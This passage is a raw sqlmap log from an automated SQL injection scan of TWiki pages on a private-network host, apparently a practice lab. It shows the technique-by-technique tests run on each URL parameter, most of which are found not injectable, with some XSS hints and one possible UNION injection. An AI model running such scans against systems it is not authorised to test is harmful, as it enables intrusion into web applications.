'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiSite?template=oopsmore¶m1=1.22¶m2=1.22' [18:25:50] [INFO] testing connection to the target URL [18:25:50] [INFO] testing if the target URL is stable [18:25:51] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [18:25:51] [INFO] testing if GET parameter 'template' is dynamic [18:25:51] [INFO] confirming that GET parameter 'template' is dynamic [18:25:51] [INFO] GET parameter 'template' is dynamic [18:25:51] [INFO] heuristics detected web page charset 'ascii' [18:25:51] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:25:52] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:25:52] [INFO] testing for SQL injection on GET parameter 'template' [18:25:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:25:52] [WARNING] reflective value(s) found and filtering out [18:25:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:25:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:25:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:25:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:25:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:25:55] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:25:55] [INFO] testing 'MySQL inline queries' [18:25:55] [INFO] testing 'PostgreSQL inline queries' [18:25:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:25:55] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:25:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:25:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:25:56] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:25:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:25:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:25:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:25:58] [INFO] testing 'Oracle AND time-based blind' [18:25:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:25:59] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:26:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:26:10] [WARNING] GET parameter 'template' is not injectable [18:26:10] [INFO] testing if GET parameter 'param1' is dynamic [18:26:10] [WARNING] GET parameter 'param1' does not appear dynamic [18:26:10] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:26:10] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:26:10] [INFO] testing for SQL injection on GET parameter 'param1' [18:26:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:26:12] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:26:12] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:26:13] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:26:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:26:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:26:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:26:15] [INFO] testing 'MySQL inline queries' [18:26:16] [INFO] testing 'PostgreSQL inline queries' [18:26:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:26:16] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:26:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:26:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:26:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:26:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:26:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:26:20] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:26:20] [INFO] testing 'Oracle AND time-based blind' [18:26:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:26:30] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:26:39] [WARNING] GET parameter 'param1' is not injectable [18:26:39] [INFO] testing if GET parameter 'param2' is dynamic [18:26:40] [WARNING] GET parameter 'param2' does not appear dynamic [18:26:40] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [18:26:40] [INFO] testing for SQL injection on GET parameter 'param2' [18:26:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:26:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:26:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:26:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:26:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:26:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:26:45] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:26:45] [INFO] testing 'MySQL inline queries' [18:26:45] [INFO] testing 'PostgreSQL inline queries' [18:26:45] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:26:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:26:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:26:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:26:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:26:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:26:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:26:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:26:50] [INFO] testing 'Oracle AND time-based blind' [18:26:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:27:00] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:27:09] [WARNING] GET parameter 'param2' is not injectable [18:27:09] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 23: GET http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiSite?newweb=TWiki&newtopic=TWikiWeb&confirm=on do you want to test this URL? [Y/n/q] Y [18:27:09] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rename/TWiki/TWikiSite?newweb=TWiki&newtopic=TWikiWeb&confirm=on' [18:27:09] [INFO] testing connection to the target URL [18:27:10] [INFO] testing if the target URL is stable [18:27:10] [INFO] target URL is stable [18:27:10] [INFO] testing if GET parameter 'newweb' is dynamic sqlmap got a 302 redirect to 'http://192.168.1.113/twiki/bin/oops/5911/TWikiWeb'. Do you want to follow? [Y/n] Y [18:27:10] [INFO] confirming that GET parameter 'newweb' is dynamic [18:27:11] [INFO] GET parameter 'newweb' is dynamic [18:27:11] [WARNING] heuristic (basic) test shows that GET parameter 'newweb' might not be injectable [18:27:11] [INFO] testing for SQL injection on GET parameter 'newweb' [18:27:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:27:11] [INFO] heuristics detected web page charset 'ascii' [18:27:11] [WARNING] reflective value(s) found and filtering out [18:27:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:27:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:27:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:27:15] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:27:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:27:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:27:17] [INFO] testing 'MySQL inline queries' [18:27:17] [INFO] testing 'PostgreSQL inline queries' [18:27:18] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:27:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:27:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:27:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:27:20] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:27:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:27:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:27:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:27:23] [INFO] testing 'Oracle AND time-based blind' [18:27:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:27:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:27:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:27:45] [WARNING] GET parameter 'newweb' is not injectable [18:27:45] [WARNING] GET parameter 'newtopic' does not appear dynamic [18:27:45] [WARNING] heuristic (basic) test shows that GET parameter 'newtopic' might not be injectable [18:27:45] [INFO] testing for SQL injection on GET parameter 'newtopic' [18:27:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:27:49] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:27:50] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:27:51] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:27:52] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:27:53] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:27:54] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:27:55] [INFO] testing 'MySQL inline queries' [18:27:55] [INFO] testing 'PostgreSQL inline queries' [18:27:55] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:27:55] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:27:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:27:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:27:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:27:59] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:28:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:28:01] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:28:02] [INFO] testing 'Oracle AND time-based blind' [18:28:04] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:28:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:28:34] [WARNING] GET parameter 'newtopic' is not injectable [18:28:34] [WARNING] GET parameter 'confirm' does not appear dynamic [18:28:35] [WARNING] heuristic (basic) test shows that GET parameter 'confirm' might not be injectable [18:28:35] [INFO] testing for SQL injection on GET parameter 'confirm' [18:28:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:28:37] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:28:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:28:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:28:40] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:28:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:28:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:28:43] [INFO] testing 'MySQL inline queries' [18:28:43] [INFO] testing 'PostgreSQL inline queries' [18:28:43] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:28:43] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:28:44] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:28:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:28:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:28:47] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:28:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:28:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:28:50] [INFO] testing 'Oracle AND time-based blind' [18:28:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:29:06] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:29:21] [WARNING] GET parameter 'confirm' is not injectable [18:29:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 24: GET http://192.168.1.113:80/twiki/bin/edit/Main/WebTopicList?t=1441456603 do you want to test this URL? [Y/n/q] Y [18:29:21] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/WebTopicList?t=1441456603' [18:29:21] [INFO] testing connection to the target URL [18:29:22] [INFO] testing if the target URL is stable [18:29:22] [INFO] target URL is stable [18:29:22] [INFO] testing if GET parameter 't' is dynamic [18:29:23] [WARNING] GET parameter 't' does not appear dynamic [18:29:23] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:29:23] [INFO] testing for SQL injection on GET parameter 't' [18:29:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:29:24] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:29:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:29:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:29:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:29:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:29:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:29:27] [INFO] testing 'MySQL inline queries' [18:29:27] [INFO] testing 'PostgreSQL inline queries' [18:29:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:29:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:29:28] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:29:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:29:29] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:29:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:29:30] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:29:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:29:31] [INFO] testing 'Oracle AND time-based blind' [18:29:31] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:29:31] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:29:38] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:29:46] [WARNING] GET parameter 't' is not injectable [18:29:46] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 25: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Topic List[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:29:46] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Topic List[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:29:46] [INFO] testing connection to the target URL [18:29:46] [INFO] testing if the target URL is stable [18:29:47] [INFO] target URL is stable [18:29:47] [INFO] testing if URI parameter '#1' is dynamic [18:29:47] [WARNING] URI parameter '#1' does not appear dynamic [18:29:47] [WARNING] heuristic (basic) test shows that URI parameter '#1' might not be injectable [18:29:47] [INFO] testing for SQL injection on URI parameter '#1*' [18:29:47] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:29:47] [WARNING] reflective value(s) found and filtering out [18:29:49] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:29:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:29:49] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:29:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:29:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:29:51] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:29:52] [INFO] testing 'MySQL inline queries' [18:29:52] [INFO] testing 'PostgreSQL inline queries' [18:29:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:29:52] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:29:52] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:29:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:29:53] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:29:54] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:29:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:29:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:29:56] [INFO] testing 'Oracle AND time-based blind' [18:29:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:29:57] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:30:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:30:11] [WARNING] URI parameter '#1*' is not injectable [18:30:11] [INFO] testing if URI parameter '#2*' is dynamic [18:30:11] [WARNING] URI parameter '#2*' does not appear dynamic [18:30:11] [WARNING] heuristic (basic) test shows that URI parameter '#2*' might not be injectable [18:30:11] [INFO] testing for SQL injection on URI parameter '#2*' [18:30:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:30:13] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:30:13] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:30:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:30:14] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:30:15] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:30:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:30:16] [INFO] testing 'MySQL inline queries' [18:30:16] [INFO] testing 'PostgreSQL inline queries' [18:30:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:30:16] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:30:16] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:30:17] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:30:17] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:30:18] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:30:19] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:30:19] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:30:20] [INFO] testing 'Oracle AND time-based blind' [18:30:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:30:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:30:35] [INFO] target URL appears to be UNION injectable with 1 columns [18:30:35] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '--dbms=mysql') [18:30:35] [WARNING] URI parameter '#2*' is not injectable [18:30:35] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 26: GET http://192.168.1.113:80/twiki/bin/view/Main/WebTopicList?skin=print do you want to test this URL? [Y/n/q] Y [18:30:35] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebTopicList?skin=print' [18:30:35] [INFO] testing connection to the target URL [18:30:36] [INFO] testing if the target URL is stable [18:30:36] [INFO] target URL is stable [18:30:36] [INFO] testing if GET parameter 'skin' is dynamic [18:30:36] [INFO] confirming that GET parameter 'skin' is dynamic [18:30:37] [INFO] GET parameter 'skin' is dynamic [18:30:37] [INFO] heuristics detected web page charset 'ascii' [18:30:37] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [18:30:37] [INFO] testing for SQL injection on GET parameter 'skin' [18:30:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:30:37] [WARNING] reflective value(s) found and filtering out [18:30:38] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:30:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:30:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:30:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:30:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:30:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:30:41] [INFO] testing 'MySQL inline queries' [18:30:41] [INFO] testing 'PostgreSQL inline queries' [18:30:41] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:30:41] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:30:42] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:30:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:30:43] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:30:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:30:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:30:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:30:45] [INFO] testing 'Oracle AND time-based blind' [18:30:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:30:45] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:30:52] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:30:59] [WARNING] GET parameter 'skin' is not injectable [18:30:59] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 27: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/WebTopicList?rev1=1.2&rev2=1.1 do you want to test this URL? [Y/n/q] Y [18:30:59] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebTopicList?rev1=1.2&rev2=1.1' [18:30:59] [INFO] testing connection to the target URL [18:30:59] [INFO] testing if the target URL is stable [18:31:00] [INFO] target URL is stable [18:31:00] [INFO] testing if GET parameter 'rev1' is dynamic [18:31:00] [WARNING] GET parameter 'rev1' does not appear dynamic [18:31:00] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [18:31:00] [INFO] testing for SQL injection on GET parameter 'rev1' [18:31:00] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:31:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:31:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:31:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:31:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:31:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:31:05] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:31:05] [INFO] testing 'MySQL inline queries' [18:31:05] [INFO] testing 'PostgreSQL inline queries' [18:31:05] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:31:05] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:31:06] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:31:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:31:07] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:31:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:31:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:31:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:31:09] [INFO] testing 'Oracle AND time-based blind' [18:31:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:31:10] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:31:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:31:26] [WARNING] GET parameter 'rev1' is not injectable [18:31:26] [INFO] testing if GET parameter 'rev2' is dynamic [18:31:26] [WARNING] GET parameter 'rev2' does not appear dynamic [18:31:26] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [18:31:27] [INFO] testing for SQL injection on GET parameter 'rev2' [18:31:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:31:28] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:31:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:31:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:31:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:31:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:31:31] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:31:31] [INFO] testing 'MySQL inline queries' [18:31:31] [INFO] testing 'PostgreSQL inline queries' [18:31:31] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:31:31] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:31:32] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:31:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:31:33] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:31:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:31:34] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:31:34] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:31:35] [INFO] testing 'Oracle AND time-based blind' [18:31:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:31:43] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:31:50] [WARNING] GET parameter 'rev2' is not injectable [18:31:50] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 28: GET http://192.168.1.113:80/twiki/bin/view/Main/WebTopicList?rev=1.1 do you want to test this URL? [Y/n/q] Y [18:31:50] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebTopicList?rev=1.1' [18:31:50] [INFO] testing connection to the target URL [18:31:50] [INFO] testing if the target URL is stable [18:31:51] [INFO] target URL is stable [18:31:51] [INFO] testing if GET parameter 'rev' is dynamic [18:31:51] [WARNING] GET parameter 'rev' does not appear dynamic [18:31:51] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:31:51] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:31:51] [INFO] testing for SQL injection on GET parameter 'rev' [18:31:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:31:51] [WARNING] reflective value(s) found and filtering out 